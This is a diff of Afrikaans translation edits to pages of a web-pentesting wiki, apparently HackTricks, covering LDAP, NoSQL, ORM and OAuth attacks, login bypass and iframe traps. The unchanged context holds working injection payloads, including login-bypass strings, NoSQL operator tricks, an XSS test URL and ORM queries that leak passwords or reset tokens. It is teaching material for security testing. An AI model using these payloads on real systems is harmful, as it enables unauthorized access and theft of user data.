-Om dit te bereik, moet die aanvaller 'n eindpunt van die webtoepassing vind wat **sekere waardes binne die antwoord weerspieël** en **die inhoudsgrootte van die HEAD antwoord** weet.
+Om dit te bereik, moet die aanvaller 'n eindpunt van die webtoepassing vind wat **sekere waardes binne die respons weerspieël** en **die inhoudsgrootte van die HEAD respons weet**.
 
 Hy sal 'n **exploit** soos volg stuur:
 
 ![](<../images/image (911).png>)
 
-Nadat die eerste versoek opgelos is en aan die aanvaller teruggestuur is, word die **slagoffer se versoek in die queue bygevoeg**:
+Nadat die eerste versoek opgelos is en aan die aanvaller teruggestuur is, word die **slagoffer se versoek in die queue ingevoeg**:
 
 ![](<../images/image (737).png>)
 
-Die slagoffer sal as antwoord die **HEAD antwoord + die inhoud van die tweede versoek se antwoord (wat 'n deel van die weerspieëlde data bevat):**
+Die slagoffer sal as respons die **HEAD respons + die inhoud van die tweede versoek se respons (wat 'n deel van die weerspieëlde data bevat):**
 
 ![](<../images/image (356).png>)
 
-Let egter op hoe die **weerspieëlde data 'n grootte gehad het volgens die Content-Length** van die **HEAD** antwoord wat **'n geldige HTTP antwoord in die antwoordqueue** gegenereer het.
+Let egter op hoe die **weerspieëlde data 'n grootte gehad het volgens die Content-Length** van die **HEAD** respons wat **'n geldige HTTP respons in die respons queue gegenereer het**.
 
-Daarom, die **volgende versoek van die tweede slagoffer** sal **ontvang** as **antwoord iets wat heeltemal deur die aanvaller saamgestel is**. Aangesien die antwoord heeltemal deur die aanvaller saamgestel is, kan hy ook die **proxy laat cache die antwoord**.
+Daarom, die **volgende versoek van die tweede slagoffer** sal **ontvang** as **respons iets wat heeltemal deur die aanvaller saamgestel is**. Aangesien die respons heeltemal deur die aanvaller saamgestel is, kan hy ook **die proxy laat cache die respons**.
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/iframe-traps.md

@@ -10,7 +10,7 @@ Die aanval begin op 'n bladsy wat kwesbaar is vir 'n XSS waar dit moontlik is om
 
 Die XSS-aanval sal basies die webblad in 'n iframe in 100% van die skerm laai. Daarom, die slagoffer **sal nie agterkom dat hy binne 'n iframe is nie**. Dan, as die slagoffer in die bladsy navigeer deur op skakels binne die iframe (binne die web) te klik, sal hy **binne die iframe navigeer** met die arbitrêre JS wat inligting van hierdie navigasie steel.
 
-Boonop, om dit meer realisties te maak, is dit moontlik om 'n paar **luisteraars** te gebruik om te kyk wanneer 'n iframe die ligging van die bladsy verander, en die URL van die blaaier met daardie plekke op te dateer wat die gebruiker dink hy beweeg deur die blaaier.
+Boonop, om dit meer realisties te maak, is dit moontlik om 'n paar **luisteraars** te gebruik om te kyk wanneer 'n iframe die ligging van die bladsy verander, en die URL van die blaaier met daardie plekke op te dateer wat die gebruiker dink hy beweeg tussen bladsye met die blaaier.
 
 <figure><img src="../images/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
 
@@ -18,6 +18,6 @@ Boonop, om dit meer realisties te maak, is dit moontlik om 'n paar **luisteraars
 
 Boonop, dit is moontlik om luisteraars te gebruik om sensitiewe inligting te steel, nie net die ander bladsye wat die slagoffer besoek nie, maar ook die data wat gebruik word om **vorms in te vul** en dit te stuur (akkrediteer?) of om **die plaaslike berging te steel**...
 
-Natuurlik, die hoofbeperkings is dat 'n **slagoffer wat die oortjie sluit of 'n ander URL in die blaaier invoer, die iframe sal ontsnap**. 'n Ander manier om dit te doen, sou wees om die **bladsy te verfris**, egter, dit kan gedeeltelik **voorkom** word deur die regsklik konteksmenu te deaktiveer elke keer as 'n nuwe bladsy binne die iframe gelaai word of om op te let wanneer die muis van die gebruiker die iframe verlaat, moontlik om die herlaai-knoppie van die blaaier te klik en in hierdie geval word die URL van die blaaier opgedateer met die oorspronklike URL wat kwesbaar is vir XSS, so as die gebruiker dit herlaai, sal dit weer vergiftig word (let daarop dat dit nie baie stil is nie).
+Natuurlik, die hoofbeperkings is dat 'n **slagoffer wat die oortjie sluit of 'n ander URL in die blaaiers plaas, die iframe sal ontsnap**. 'n Ander manier om dit te doen, sou wees om die **bladsy te ververs**, egter, dit kan gedeeltelik **voorkom** word deur die regsklik-konteksmenu te deaktiveer elke keer as 'n nuwe bladsy binne die iframe gelaai word of om op te let wanneer die muis van die gebruiker die iframe verlaat, moontlik om die herlaai-knoppie van die blaaiers te klik en in hierdie geval word die URL van die blaaiers opgedateer met die oorspronklike URL wat kwesbaar is vir XSS, so as die gebruiker dit herlaai, sal dit weer vergiftig word (let daarop dat dit nie baie stil is nie).
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/ldap-injection.md

@@ -4,6 +4,7 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
+
 ## LDAP Injection
 
 ### **LDAP**
@@ -14,7 +15,7 @@
 ../network-services-pentesting/pentesting-ldap.md
 {{#endref}}
 
-**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.
+**LDAP Injection** is 'n aanval wat webtoepassings teiken wat LDAP-verklarings uit gebruikersinvoer opstel. Dit gebeur wanneer die toepassing **nie behoorlik sanitiseer** invoer nie, wat dit aanvallers toelaat om **LDAP-verklarings te manipuleer** deur 'n plaaslike proxy, wat moontlik kan lei tot ongeoorloofde toegang of datamanipulasie.
 
 {% file src="../images/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
 
@@ -31,8 +32,8 @@
 **Substring** = attr ”=” \[begin] \* \[eindig]\
 **Begin** = assertionvalue\
 **Eindig** = assertionvalue\
-&#xNAN;**(&)** = Absolute WAAR\
-&#xNAN;**(|)** = Absolute VALSE
+&#xNAN;**(&)** = Absoluut WAAR\
+&#xNAN;**(|)** = Absoluut VALSE
 
 Byvoorbeeld:\
 `(&(!(objectClass=Impresoras))(uid=s*))`\
@@ -180,7 +181,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
 finish = True
 print()
 ```
-#### **Spesiale Blinde LDAP Inspuiting (sonder "\*")**
+#### **Spesiale Blind LDAP Inspuiting (sonder "\*")**
 ```python
 #!/usr/bin/python3
 

src/pentesting-web/login-bypass/README.md

@@ -10,17 +10,17 @@ As jy 'n aanmeldbladsy vind, kan jy hier 'n paar tegnieke vind om dit te probeer
 - Kyk of jy die **beperkte bladsye direk kan toegang** 
 - Kyk om **nie die parameters te stuur nie** (stuur geen of net 1)
 - Kyk na die **PHP vergelykingsfout:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
-- **Verander inhouds tipe na json** en stuur json waardes (bool true ingesluit)
+- **Verander inhoud tipe na json** en stuur json waardes (bool true ingesluit)
 - As jy 'n antwoord kry wat sê dat POST nie ondersteun word nie, kan jy probeer om die **JSON in die liggaam te stuur maar met 'n GET versoek** met `Content-Type: application/json`
 - Kyk na nodejs se potensiële ontledingsfout (lees [**hierdie**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
 - Nodejs sal daardie payload omskep na 'n navraag soortgelyk aan die volgende: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` wat die wagwoordbit altyd waar maak.
-- As jy 'n JSON objek kan stuur, kan jy `"password":{"password": 1}` stuur om die aanmelding te omseil.
+- As jy 'n JSON-objek kan stuur, kan jy `"password":{"password": 1}` stuur om die aanmelding te omseil.
 - Onthou dat jy om hierdie aanmelding te omseil steeds moet **weet en 'n geldige gebruikersnaam stuur**.
 - **Voeg `"stringifyObjects":true`** opsie by wanneer jy `mysql.createConnection` aanroep, sal uiteindelik **alle onverwagte gedrag blokkeer wanneer `Object` in die parameter gestuur word**.
 - Kyk na akrediteer:
 - [**Standaard akrediteer**](../../generic-hacking/brute-force.md#default-credentials) van die tegnologie/platform wat gebruik word
 - **Gewone kombinasies** (root, admin, wagwoord, naam van die tegnologie, standaard gebruiker met een van hierdie wagwoorde).
-- Skep 'n woordeboek met **Cewl**, **voeg** die **standaard** gebruikersnaam en wagwoord (indien daar is) by en probeer om dit te brute-force met al die woorde as **gebruikersname en wagwoord**
+- Skep 'n woordeboek met **Cewl**, **voeg** die **standaard** gebruikersnaam en wagwoord (as daar is) by en probeer om dit te brute-force met al die woorde as **gebruikersname en wagwoord**
 - **Brute-force** met 'n groter **woordeboek (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)**
 
 ### SQL Injection verifikasie omseiling
@@ -41,7 +41,7 @@ Aangesien die NoSQL Injections vereis dat die parameterwaarde verander word, sal
 
 ### XPath Injection verifikasie omseiling
 
-[Hier kan jy verskeie truuks vind om die aanmelding via **XPath Injection.** te omseil](../xpath-injection.md#authentication-bypass)
+[Hier kan jy verskeie truuks vind om die aanmelding via **XPath Injection.**](../xpath-injection.md#authentication-bypass)
 ```
 ' or '1'='1
 ' or ''='
@@ -57,7 +57,7 @@ Aangesien die NoSQL Injections vereis dat die parameterwaarde verander word, sal
 admin' or '
 admin' or '1'='2
 ```
-### LDAP Injection outentiekingsomseiling
+### LDAP Injection outentieke bypass
 
 [Hier kan jy verskeie truuks vind om die aanmelding via **LDAP Injection** te omseil.](../ldap-injection.md#login-bypass)
 ```
@@ -77,9 +77,9 @@ admin))(|(|
 
 As die bladsy "**Onthou My**" funksionaliteit het, kyk hoe dit geïmplementeer is en sien of jy dit kan misbruik om **ander rekeninge oor te neem**.
 
-### Oorplasings
+### Oorgange
 
-Bladsye herlei gewoonlik gebruikers na aanmelding, kyk of jy daardie oorplasing kan verander om 'n [**Open Redirect**](../open-redirect.md) te veroorsaak. Miskien kan jy 'n paar inligting (kodes, koekies...) steel as jy die gebruiker na jou webwerf herlei.
+Bladsye lei gewoonlik gebruikers na aanmelding, kyk of jy daardie oorgang kan verander om 'n [**Open Redirect**](../open-redirect.md) te veroorsaak. Miskien kan jy 'n paar inligting (kodes, koekies...) steel as jy die gebruiker na jou webwerf lei.
 
 ## Ander Kontroles
 

src/pentesting-web/login-bypass/sql-login-bypass.md

@@ -2,7 +2,7 @@
 
 Hierdie lys bevat **payloads om die aanmelding te omseil via XPath, LDAP en SQL-inspuiting** (in daardie volgorde).
 
-Die manier om hierdie lys te gebruik, is om die **eerste 200 lyne as die gebruikersnaam en wagwoord in te voer.** Plaas dan die volledige lys eers in die gebruikersnaam en dan in die wagwoord invoer terwyl jy 'n wagwoord (soos _Pass1234._) of 'n bekende gebruikersnaam (soos _admin_) invoer.
+Die manier om hierdie lys te gebruik, is om die **eerste 200 lyne as die gebruikersnaam en wagwoord te plaas.** Plaas dan die volledige lys eers in die gebruikersnaam en dan in die wagwoord invoere terwyl jy 'n wagwoord (soos _Pass1234._) of 'n bekende gebruikersnaam (soos _admin_) plaas.
 ```
 admin
 password

src/pentesting-web/nosql-injection.md

@@ -17,9 +17,9 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
 username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
 { $where: "this.credits == this.debits" }#<IF>, can be used to execute code
 ```
-### Basiese outentisering omseiling
+### Basiese outentikasie omseiling
 
-**Gebruik nie gelyk nie ($ne) of groter as ($gt)**
+**Gebruik nie gelyk ($ne) of groter ($gt)**
 ```bash
 #in URL
 username[$ne]=toto&password[$ne]=toto

src/pentesting-web/oauth-to-account-takeover.md

@@ -1,4 +1,4 @@
-# OAuth na Rekening oorneem
+# OAuth na Rekening oorname
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -7,7 +7,7 @@
 
 OAuth bied verskeie weergawes, met fundamentele insigte beskikbaar by [OAuth 2.0 dokumentasie](https://oauth.net/2/). Hierdie bespreking fokus hoofsaaklik op die algemeen gebruikte [OAuth 2.0 magtigingskode toekennings tipe](https://oauth.net/2/grant-types/authorization-code/), wat 'n **magtigingsraamwerk bied wat 'n toepassing in staat stel om toegang te verkry of aksies op 'n gebruiker se rekening in 'n ander toepassing uit te voer** (die magtigingsbediener).
 
-Dink aan 'n hipotetiese webwerf _**https://example.com**_, ontwerp om **al jou sosiale media plasings te vertoon**, insluitend privaat een. Om dit te bereik, word OAuth 2.0 gebruik. _https://example.com_ sal jou toestemming vra om **toegang tot jou sosiale media plasings** te verkry. Gevolglik sal 'n toestemmingskerm op _https://socialmedia.com_ verskyn, wat die **toestemmings wat aangevra word en die ontwikkelaar wat die aanvraag doen** uiteensit. Na jou magtiging, verkry _https://example.com_ die vermoë om **jou plasings namens jou te benader**.
+Dink aan 'n hipotetiese webwerf _**https://example.com**_, ontwerp om **al jou sosiale media plasings te vertoon**, insluitend privaat een. Om dit te bereik, word OAuth 2.0 gebruik. _https://example.com_ sal jou toestemming vra om **toegang tot jou sosiale media plasings** te verkry. Gevolglik sal 'n toestemming skerm verskyn op _https://socialmedia.com_, wat die **toestemmings wat aangevra word en die ontwikkelaar wat die versoek doen** uiteensit. Na jou magtiging, verkry _https://example.com_ die vermoë om **jou plasings namens jou te benader**.
 
 Dit is noodsaaklik om die volgende komponente binne die OAuth 2.0 raamwerk te verstaan:
 
@@ -59,21 +59,21 @@ Host: socialmedia.com
 
 Die `redirect_uri` is van kardinale belang vir sekuriteit in OAuth en OpenID implementasies, aangesien dit aandui waar sensitiewe data, soos magtigingskode, gestuur word na magtiging. As dit verkeerd geconfigureer is, kan dit aanvallers toelaat om hierdie versoeke na kwaadwillige bedieners te herlei, wat rekening oorname moontlik maak.
 
-Eksploitasiemetodes verskil op grond van die magtigingsbediener se valideringslogika. Dit kan wissel van streng pad ooreenstemming tot die aanvaarding van enige URL binne die gespesifiseerde domein of subgids. Algemene eksploitasiemetodes sluit open redirects, pad traversering, die uitbuiting van swak regexes, en HTML-inspuiting vir token-diefstal in.
+Eksploitasiemetodes verskil op grond van die magtigingsbediener se valideringslogika. Dit kan wissel van streng pad ooreenstemming tot die aanvaarding van enige URL binne die gespesifiseerde domein of subgids. Algemene eksploitasie metodes sluit open redirects, pad traversering, die benutting van swak regexes, en HTML-inspuiting vir token-diefstal in.
 
-Benewens `redirect_uri`, is ander OAuth en OpenID parameters soos `client_uri`, `policy_uri`, `tos_uri`, en `initiate_login_uri` ook kwesbaar vir herleidingaanvalle. Hierdie parameters is opsioneel en hul ondersteuning verskil oor bedieners.
+Benewens `redirect_uri`, is ander OAuth en OpenID parameters soos `client_uri`, `policy_uri`, `tos_uri`, en `initiate_login_uri` ook kwesbaar vir herleiding aanvalle. Hierdie parameters is opsioneel en hul ondersteuning verskil oor bedieners.
 
-Vir diegene wat 'n OpenID-bediener teiken, lys die ontdekking eindpunt (`**.well-known/openid-configuration**`) dikwels waardevolle konfigurasiedetails soos `registration_endpoint`, `request_uri_parameter_supported`, en "`require_request_uri_registration`. Hierdie besonderhede kan help om die registrasie-eindpunt en ander konfigurasiespesifieke van die bediener te identifiseer.
+Vir diegene wat 'n OpenID-bediener teiken, lys die ontdekking eindpunt (`**.well-known/openid-configuration**`) dikwels waardevolle konfigurasiedetails soos `registration_endpoint`, `request_uri_parameter_supported`, en "`require_request_uri_registration`. Hierdie besonderhede kan help om die registrasie eindpunt en ander konfigurasiespesifieke van die bediener te identifiseer.
 
 ### XSS in redirect implementasie <a href="#bda5" id="bda5"></a>
 
-Soos genoem in hierdie bug bounty verslag [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) mag dit moontlik wees dat die redirect **URL in die antwoord** van die bediener na die gebruiker se outentisering **reflekteer**, wat **kwesbaar is vir XSS**. Moglike payload om te toets:
+Soos genoem in hierdie bug bounty verslag [https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html](https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html) mag dit moontlik wees dat die redirect **URL in die antwoord** van die bediener na die gebruiker se outentisering **reflekteer**, wat **kwesbaar is vir XSS**. Moontlike payload om te toets:
 ```
 https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
 ```
 ### CSRF - Onbehoorlike hantering van die staat parameter <a href="#bda5" id="bda5"></a>
 
-In OAuth implementasies kan die misbruik of weglating van die **`state` parameter** die risiko van **Cross-Site Request Forgery (CSRF)** aanvalle aansienlik verhoog. Hierdie kwesbaarheid ontstaan wanneer die `state` parameter **nie gebruik word, as 'n statiese waarde gebruik word, of nie behoorlik geverifieer word** nie, wat dit aanvallers moontlik maak om CSRF beskerming te omseil.
+In OAuth implementasies kan die misbruik of weglating van die **`state` parameter** die risiko van **Cross-Site Request Forgery (CSRF)** aanvalle aansienlik verhoog. Hierdie kwesbaarheid ontstaan wanneer die `state` parameter **nie gebruik word, as 'n statiese waarde gebruik word, of nie behoorlik geverifieer word nie**, wat dit aanvallers moontlik maak om CSRF beskerming te omseil.
 
 Aanvallers kan dit benut deur die magtiging proses te onderskep om hul rekening met 'n slagoffer se rekening te koppel, wat kan lei tot potensiële **rekening oorname**. Dit is veral krities in toepassings waar OAuth gebruik word vir **authentikasie doeleindes**.
 
@@ -84,18 +84,18 @@ Behoorlike hantering en verifikasie van die **`state` parameter** is van kardina
 ### Voor Rekening Oorname <a href="#ebe4" id="ebe4"></a>
 
 1. **Sonder E-pos Verifikasie by Rekening Skep**: Aanvallers kan proaktief 'n rekening skep met die slagoffer se e-pos. As die slagoffer later 'n derdeparty diens vir aanmelding gebruik, kan die toepassing per ongeluk hierdie derdeparty rekening aan die aanvaller se vooraf geskepte rekening koppel, wat lei tot ongeoorloofde toegang.
-2. **Misbruik van Los OAuth E-pos Verifikasie**: Aanvallers mag OAuth dienste misbruik wat nie e-posse verifieer nie deur met hul diens te registreer en dan die rekening e-pos na die slagoffer s'n te verander. Hierdie metode hou soortgelyke risiko's van ongeoorloofde rekening toegang in, soortgelyk aan die eerste scenario, maar deur 'n ander aanvalsvector.
+2. **Misbruik van Los OAuth E-pos Verifikasie**: Aanvallers kan OAuth dienste misbruik wat nie e-posse verifieer nie deur met hul diens te registreer en dan die rekening e-pos na die slagoffer s'n te verander. Hierdie metode hou soortgelyke risiko's van ongeoorloofde rekening toegang in, soortgelyk aan die eerste scenario, maar deur 'n ander aanvalsvector.
 
 ### Onthulling van Geheime <a href="#e177" id="e177"></a>
 
-Identifisering en beskerming van geheime OAuth parameters is van kardinale belang. Terwyl die **`client_id`** veilig onthul kan word, hou die onthulling van die **`client_secret`** aansienlike risiko's in. As die `client_secret` gecompromitteer word, kan aanvallers die identiteit en vertroue van die toepassing benut om **gebruikers `access_tokens`** en private inligting te **steel**.
+Identifisering en beskerming van geheime OAuth parameters is van kardinale belang. Terwyl die **`client_id`** veilig bekend gemaak kan word, hou die onthulling van die **`client_secret`** aansienlike risiko's in. As die `client_secret` gecompromitteer word, kan aanvallers die identiteit en vertroue van die toepassing benut om **gebruikers `access_tokens`** en private inligting te **steel**.
 
-'n Algemene kwesbaarheid ontstaan wanneer toepassings per ongeluk die uitruil van die magtiging `code` vir 'n `access_token` aan die kliëntkant hanteer eerder as die bedienerkant. Hierdie fout lei tot die blootstelling van die `client_secret`, wat aanvallers in staat stel om `access_tokens` onder die dekmantel van die toepassing te genereer. Boonop, deur sosiale ingenieurswese, kan aanvallers voorregte verhoog deur addisionele skope aan die OAuth magtiging toe te voeg, wat die toepassing se vertroude status verder benut.
+'n Algemene kwesbaarheid ontstaan wanneer toepassings per ongeluk die uitruil van die magtiging `code` vir 'n `access_token` aan die kliëntkant hanteer eerder as die bedienerkant. Hierdie fout lei tot die blootstelling van die `client_secret`, wat dit aanvallers moontlik maak om `access_tokens` onder die dekmantel van die toepassing te genereer. Boonop, deur sosiale ingenieurswese, kan aanvallers voorregte verhoog deur addisionele skope by die OAuth magtiging te voeg, wat die toepassing se vertroude status verder benut.
 
 ### Kliënt Geheim Bruteforce
 
 Jy kan probeer om die **client_secret** van 'n diensverskaffer met die identiteitsverskaffer te **bruteforce** om te probeer om rekeninge te steel.\
-Die versoek om BF mag soortgelyk lyk aan:
+Die versoek om BF mag soos volg lyk:
 ```
 POST /token HTTP/1.1
 content-type: application/x-www-form-urlencoded
@@ -109,17 +109,17 @@ code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=au
 
 Sodra die kliënt die **code en state** het, as dit **binne die Referer header weerspieël word** wanneer hy na 'n ander bladsy blaai, dan is dit kwesbaar.
 
-### Toegangstoken gestoor in Bladsygeskiedenis
+### Toegangstoken gestoor in Blaaier Geskiedenis
 
-Gaan na die **bladsygeskiedenis en kyk of die toegangstoken daarin gestoor is**.
+Gaan na die **blaaier geskiedenis en kyk of die toegangstoken daar gestoor is**.
 
-### Ewige Outeurskode
+### Ewige Magtiging Code
 
-Die **auteurskode moet net vir 'n kort tydjie bestaan om die tydsvenster te beperk waar 'n aanvaller dit kan steel en gebruik**.
+Die **magtigingskode moet net vir 'n kort tydjie bestaan om die tydsvenster te beperk waarbinne 'n aanvaller dit kan steel en gebruik**.
 
-### Auteurs-/Herlaai Token nie aan kliënt gebind nie
+### Magtiging/Herlaai Token nie aan kliënt gebind nie
 
-As jy die **auteurskode kan kry en dit met 'n ander kliënt kan gebruik, dan kan jy ander rekeninge oorneem**.
+As jy die **magtigingskode kan kry en dit met 'n ander kliënt kan gebruik, dan kan jy ander rekeninge oorneem**.
 
 ### Gelukkige Paaie, XSS, Iframes & Post Berigte om kode & state waardes te lek
 
@@ -127,7 +127,7 @@ As jy die **auteurskode kan kry en dit met 'n ander kliënt kan gebruik, dan kan
 
 ### AWS Cognito <a href="#bda5" id="bda5"></a>
 
-In hierdie foutbounty verslag: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) kan jy sien dat die **token** wat **AWS Cognito** aan die gebruiker teruggee, **voldoende regte mag hê om die gebruikersdata te oorskryf**. Daarom, as jy die **gebruikers e-pos kan verander na 'n ander gebruikers e-pos**, mag jy in staat wees om **ander** rekeninge **oor te neem**.
+In hierdie foutbounty verslag: [**https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/**](https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/) kan jy sien dat die **token** wat **AWS Cognito** aan die gebruiker teruggee, dalk **genoeg toestemmings het om die gebruikersdata te oorskryf**. Daarom, as jy die **gebruikers e-pos vir 'n ander gebruikers e-pos kan verander**, mag jy in staat wees om **ander** rekeninge oor te neem.
 ```bash
 # Read info of the user
 aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]
@@ -193,7 +193,7 @@ Hierdie [**blogpos**](https://blog.voorivex.team/oauth-non-happy-path-to-ato) be
 
 [**Kyk hierdie navorsing**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Vir verdere besonderhede oor hierdie tegniek.**
 
-Dinamiese Kliënt Registrasie in OAuth dien as 'n minder voor die hand liggende maar kritieke vektor vir sekuriteits kwesbaarhede, spesifiek vir **Server-Side Request Forgery (SSRF)** aanvalle. Hierdie eindpunt laat OAuth bedieners toe om besonderhede oor kliënt aansoeke te ontvang, insluitend sensitiewe URL's wat misbruik kan word.
+Dinamiese Kliënt Registrasie in OAuth dien as 'n minder voor die hand liggende maar kritieke vektor vir sekuriteitskwesbaarhede, spesifiek vir **Server-Side Request Forgery (SSRF)** aanvalle. Hierdie eindpunt laat OAuth bedieners toe om besonderhede oor kliënt aansoeke te ontvang, insluitend sensitiewe URL's wat misbruik kan word.
 
 **Belangrike Punten:**
 
@@ -201,7 +201,7 @@ Dinamiese Kliënt Registrasie in OAuth dien as 'n minder voor die hand liggende
 - Hierdie funksie voldoen aan spesifikasies uiteengesit in **RFC7591** en **OpenID Connect Registrasie 1.0**, wat parameters insluit wat moontlik kwesbaar is vir SSRF.
 - Die registrasieproses kan per ongeluk bedieners aan SSRF blootstel op verskeie maniere:
 - **`logo_uri`**: 'n URL vir die kliënt aansoek se logo wat deur die bediener opgevraag kan word, wat SSRF kan aktiveer of kan lei tot XSS as die URL verkeerd hanteer word.
-- **`jwks_uri`**: 'n URL na die kliënt se JWK dokument, wat, as dit kwaadwillig saamgestel is, kan veroorsaak dat die bediener uitgaande versoeke na 'n aanvaller-beheerde bediener maak.
+- **`jwks_uri`**: 'n URL na die kliënt se JWK dokument, wat, as dit kwaadwillig saamgestel is, die bediener kan dwing om uitgaande versoeke na 'n aanvaller-beheerde bediener te maak.
 - **`sector_identifier_uri`**: Verwys na 'n JSON-array van `redirect_uris`, wat die bediener mag opvra, wat 'n SSRF geleentheid skep.
 - **`request_uris`**: Lys toegelate versoek URI's vir die kliënt, wat misbruik kan word as die bediener hierdie URI's aan die begin van die outorisering proses opvra.
 

src/pentesting-web/orm-injection.md

@@ -8,7 +8,7 @@ In [**hierdie pos**](https://www.elttam.com/blog/plormbing-your-django-orm/) wor
 
 <pre class="language-python"><code class="lang-python">class ArticleView(APIView):
 """
-'n Basiese API-uitsig waaraan gebruikers versoeke stuur om
+Sommige basiese API-uitsig waaraan gebruikers versoeke stuur om
 artikels te soek
 """
 def post(self, request: Request, format=None):
@@ -65,9 +65,9 @@ created_by__user__user_permissions__user__password
 Article.objects.filter(is_secret=False, categories__articles__id=2)
 ```
 > [!CAUTION]
-> De misbruik van verhoudings kan dit moontlik maak om selfs filters wat bedoel is om die data wat vertoon word te beskerm, te omseil.
+> De misbruik van verhoudings kan dit moontlik maak om selfs filters te omseil wat bedoel is om die data wat vertoon word te beskerm.
 
-- **Fout/Tyd gebaseer via ReDoS**: In die vorige voorbeelde was dit verwag om verskillende antwoorde te hê as die filtrering gewerk het of nie om dit as orakel te gebruik. Maar dit kan moontlik wees dat 'n aksie in die databasis gedoen word en die antwoord altyd dieselfde is. In hierdie scenario kan dit moontlik wees om die databasisfout te maak om 'n nuwe orakel te kry.
+- **Fout/Tyd gebaseer via ReDoS**: In die vorige voorbeelde was dit verwag om verskillende antwoorde te hê as die filtrering gewerk het of nie om dit as orakel te gebruik. Maar dit kan moontlik wees dat 'n aksie in die databasis gedoen word en die antwoord altyd dieselfde is. In hierdie scenario kan dit moontlik wees om die databasisfout te maak om 'n nuwe orakel te verkry.
 ```json
 // Non matching password
 {
@@ -85,7 +85,7 @@ Article.objects.filter(is_secret=False, categories__articles__id=2)
 
 Die volgende is [**tricks extracted from this post**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
 
-- **Volledige vind beheer**:
+- **Volledige vindbeheer**:
 
 <pre class="language-javascript"><code class="lang-javascript">const app = express();
 
@@ -134,7 +134,7 @@ In die voorbeeld van die oorspronklike pos, sou dit al die plasings wat deur iem
 ...
 ]
 ```
-Die volgende een kies al die plasings wat deur iemand met 'n wagwoord geskep is en sal die wagwoord teruggee:
+Die volgende kies al die plasings wat deur iemand met 'n wagwoord geskep is en sal die wagwoord teruggee:
 ```json
 {
 "filter": {
@@ -257,7 +257,7 @@ Dit is ook moontlik om al die gebruikers wat sommige loop terug baie-tot-baie ve
 }
 }
 ```
-- **Fout/tydgebaseerde vrae**: In die oorspronklike pos kan jy 'n baie uitgebreide stel toetse lees wat uitgevoer is om die optimale payload te vind om inligting met 'n tydgebaseerde payload te lek. Dit is:
+- **Fout/Tydsnavrae**: In die oorspronklike pos kan jy 'n baie uitgebreide stel toetse lees wat uitgevoer is om die optimale payload te vind om inligting met 'n tydgebaseerde payload te lek. Dit is:
 ```json
 {
 "OR": [
@@ -284,7 +284,7 @@ def index
 @posts = @q.result(distinct: true)
 end
 ```
-Let op hoe die navraag gedefinieer sal word deur die parameters wat deur die aanvaller gestuur word. Dit was moontlik om byvoorbeeld die reset token met die volgende te brute-force:
+Let op hoe die navraag gedefinieer sal word deur die parameters wat deur die aanvaller gestuur word. Dit was moontlik om byvoorbeeld die reset-token met brute-force te verkry:
 ```http
 GET /posts?q[user_reset_password_token_start]=0
 GET /posts?q[user_reset_password_token_start]=1
@@ -292,7 +292,7 @@ GET /posts?q[user_reset_password_token_start]=1
 ```
 Deur brute-forcing en moontlik verhoudings was dit moontlik om meer data uit 'n databasis te lek.
 
-## Verwysings
+## References
 
 - [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
 - [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)

src/pentesting-web/parameter-pollution.md

@@ -7,7 +7,7 @@
 
 ## HTTP Parameter Pollution (HPP) Oorsig
 
-HTTP Parameter Pollution (HPP) is 'n tegniek waar aanvallers HTTP parameters manipuleer om die gedrag van 'n webtoepassing op onvoorsiene maniere te verander. Hierdie manipulering word gedoen deur HTTP parameters by te voeg, te wysig of te dupliceer. Die effek van hierdie manipulering is nie direk sigbaar vir die gebruiker nie, maar kan die toepassing se funksionaliteit aan die bedienerkant aansienlik verander, met waarneembare impakte aan die kliëntkant.
+HTTP Parameter Pollution (HPP) is 'n tegniek waar aanvallers HTTP parameters manipuleer om die gedrag van 'n webtoepassing op onvoorsiene maniere te verander. Hierdie manipulering word gedoen deur HTTP parameters by te voeg, te wysig of te dupliceer. Die effek van hierdie manipulering is nie direk sigbaar vir die gebruiker nie, maar kan die funksionaliteit van die toepassing aan die bedienerkant aansienlik verander, met waarneembare impakte aan die kliëntkant.
 
 ### Voorbeeld van HTTP Parameter Pollution (HPP)
 
@@ -41,18 +41,18 @@ Hierdie scenario beklemtoon 'n kritieke oorsig in die toepassing se agterkant, w
